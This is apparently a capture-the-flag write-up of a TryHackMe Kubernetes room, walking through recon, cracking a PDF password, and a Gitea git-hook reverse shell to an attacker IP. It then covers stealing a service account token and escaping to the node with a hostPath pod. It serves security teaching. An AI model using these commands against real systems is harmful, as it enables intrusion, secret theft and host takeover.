TryHackMe is an awesome platform for learning cybersecurity through hands-on labs. Their gamified approach makes diving into new tools and techniques genuinely fun. As I was progressing through various challenges, I noticed there was only one room that touched on Kubernetes.
Given how much Kubernetes has exploded in popularity in recent years, it’s becoming an increasingly attractive target — which means it’s just as important to understand how clusters can be exploited as it is to secure them. That’s what inspired me to design and propose a room focused on Kubernetes, blended with a bit of World of Warcraft flair — and thus, Palsforlife was born.
Here’s a writeup of the challenge, walking through the concepts and techniques involved:
Reconnaissance 🔗
First, we need to wait 5 minutes for the machine to fully boot up. To makes things a bit more convenient, edit your /etc/hosts file, adding a hive.thm entry to save your target IP:
x.x.x.x palsforlife.thm
Let’s start with nmap:
nmap -A -T4 -p- palsforlife.thm -vv
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
6443/tcp open ssl/sun-sr-https? syn-ack
| fingerprint-strings:
| FourOhFourRequest:
| HTTP/1.0 401 Unauthorized
| Cache-Control: no-cache, private
| Content-Type: application/json
| Date: Tue, 16 Aug 2022 23:27:26 GMT
| Content-Length: 129
| {"kind":"Status","apiVersion":"v1","metadata":{},"status":"Failure","message":"Unauthorized","reason":"Unauthorized","code":401}
| ssl-cert: Subject: commonName=k3s/organizationName=k3s
| Subject Alternative Name: DNS:kubernetes, DNS:kubernetes.default, DNS:kubernetes.default.svc.cluster.local, DNS:localhost, DNS:palsforlife.thm, IP Address:10.10.162.251, IP Address:10.43.0.1, IP Address:127.0.0.1, IP Address:172.30.18.136, IP Address:192.168.1.244
| Issuer: commonName=k3s-server-ca@1622498168
10250/tcp open ssl/http syn-ack Golang net/http server (Go-IPFS json-rpc or InfluxDB API)
|_http-title: Site doesn't have a title (text/plain; charset=utf-8).
| ssl-cert: Subject: commonName=palsforlife
| Subject Alternative Name: DNS:palsforlife, DNS:localhost, IP Address:127.0.0.1, IP Address:10.10.162.251
| Issuer: commonName=k3s-server-ca@1622498168
30180/tcp open http syn-ack nginx 1.21.0
| http-methods:
|_ Supported Methods: GET HEAD POST
|_http-server-header: nginx/1.21.0
|_http-title: 403 Forbidden
31111/tcp open unknown syn-ack
| GetRequest:
| HTTP/1.0 200 OK
| <!DOCTYPE html>
| <html>
| <head data-suburl="">
| <meta charset="utf-8">
| <meta name="viewport" content="width=device-width, initial-scale=1">
| <meta http-equiv="x-ua-compatible" content="ie=edge">
| <title>Gitea: Git with a cup of tea</title>
| <meta name="theme-color" content="#6cc644">
| <meta name="author" content="Gitea - Git with a cup of tea" />
| <meta name="description" content="Gitea (Git with a cup of tea) is a painless self-hosted Git service written in Go" />
| <meta name="keywords" content="go,git,self-hosted,gitea
31112/tcp open ssh syn-ack OpenSSH 7.5 (protocol 2.0)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
NSE: Script Post-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 01:28
Completed NSE at 01:28, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 01:28
Completed NSE at 01:28, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 01:28
Completed NSE at 01:28, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 419.02 seconds
(the nmap log has been slightly redacted for readability)
We learn a few interesting things :
-
10250 seems to indicate there is a kubernetes api server (k3s-server)
-
30180 points to a nginx server
-
31111 points to a gitea
Let’s run dirsearch (or gobuster) on the nginx:
dirsearch -u http://palsforlife.thm:30180/
_|. _ _ _ _ _ _|_ v0.4.2
(_||| _) (/_(_|| (_| )
Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 30 | Wordlist size: 10903
Target: http://palsforlife.thm:30180/
[01:39:10] Starting:
[01:39:41] 200 - 13KB - /team/
Task Completed
<dirsearch.dirsearch.Program object at 0x7f6e7f2fadf0>
We find a page at http://palsforlife.thm:30180/team/ :
Let’s go there and display the sources.
There is an interesting anchor:
<!-- I shouldn't forget this -->
<div id="uninteresting_file.pdf" style="visibility: hidden; display: none;">[BASE64]</div>
Copy this found base64 in a base64_content file.
Recover the file from the base64.
cat base64_content | base64 --decode > uninteresting_file.pdf
Use pdf2john to get the hash from the password protected pdf file and crack it.
pdf2john.pl uninteresting_file.pdf > hash.txt
john --wordlist=rockyou.txt hash.txt
Open pdf with the found password, it looks like it contains another password.
Use this password found in the pdf to login to gitea as leeroy at http://palsforlife.thm:31111
There is a repo already created, let’s look into its webhooks.
We find that a webhook has already been created, let’s edit it and inspect the secret field to find the first flag.
Gaining System Access 🔗
Next, let’s abuse Git hooks.
Inject a reverse shell in the post-receive hook.
#!/bin/bash
bash -i >& /dev/tcp/YOUR_LOCAL_IP/4444 0>&1
Run a netcat listener on the attack machine:
nc -lvnp 4444
Clone the repo and push some modifications :
git clone http://palsforlife.thm:31111/leeroy/jenkins.git
cd jenkins
touch test
git add test
git ci -m "test"
git push origin master
We then get a reverse shell on the machine!
Get the second flag
cat /root/flag2.txt
Get the kubernetes service account token:
cat /var/run/secrets/kubernetes.io/serviceaccount/token
Save it in a token.txt file on the attack machine.
What can we do with this token?
kubectl --token "$(cat token.txt)" --insecure-skip-tls-verify --server=https://palsforlife.thm:6443 auth can-i --list
Apparently everything :
Resources Non-Resource URLs Resource Names Verbs
*.* [] [] [*]
[*] [] [*]
That’s what happen when RBAC is not enabled in the cluster :-)
Find the 3rd flag in a secret resource.
kubectl --token "$(cat token.txt)" --insecure-skip-tls-verify --server=https://palsforlife.thm:6443 -n kube-system get secret flag3 -o json | jq -r '.data | map_values(@base64d)'
Privilege escalation 🔗
Look at the docker images that are available in the node:
kubectl --token "$(cat token.txt)" --insecure-skip-tls-verify --server=https://team.thm:6443 get node -o yaml
Let’s use the nginx image
docker.io/library/nginx@sha256:6d75c99af15565a301e48297fa2d121e15d80ad526f8369c526324f0f7ccb750)
host.yaml
apiVersion: v1
kind: Pod
metadata:
name: host
spec:
containers:
- image: docker.io/library/nginx@sha256:6d75c99af15565a301e48297fa2d121e15d80ad526f8369c526324f0f7ccb750
name: host
command: [ "/bin/sh", "-c", "--" ]
args: [ "while true; do sleep 30; done;" ]
volumeMounts:
- mountPath: /host
name: host
volumes:
- name: host
hostPath:
path: /
type: Directory
and then run:
kubectl --token "$(cat token.txt)" --insecure-skip-tls-verify --server=https://team.thm:6443 -n default apply -f host.yaml
Access the newly created pod:
kubectl --token "$(cat token.txt)" --insecure-skip-tls-verify --server=https://team.thm:6443 -n default exec -it host bash
We just mounted the node filesystem!
Let’s get the root flag.
cat /host/root/root.txt
And we’re done! Congrats!!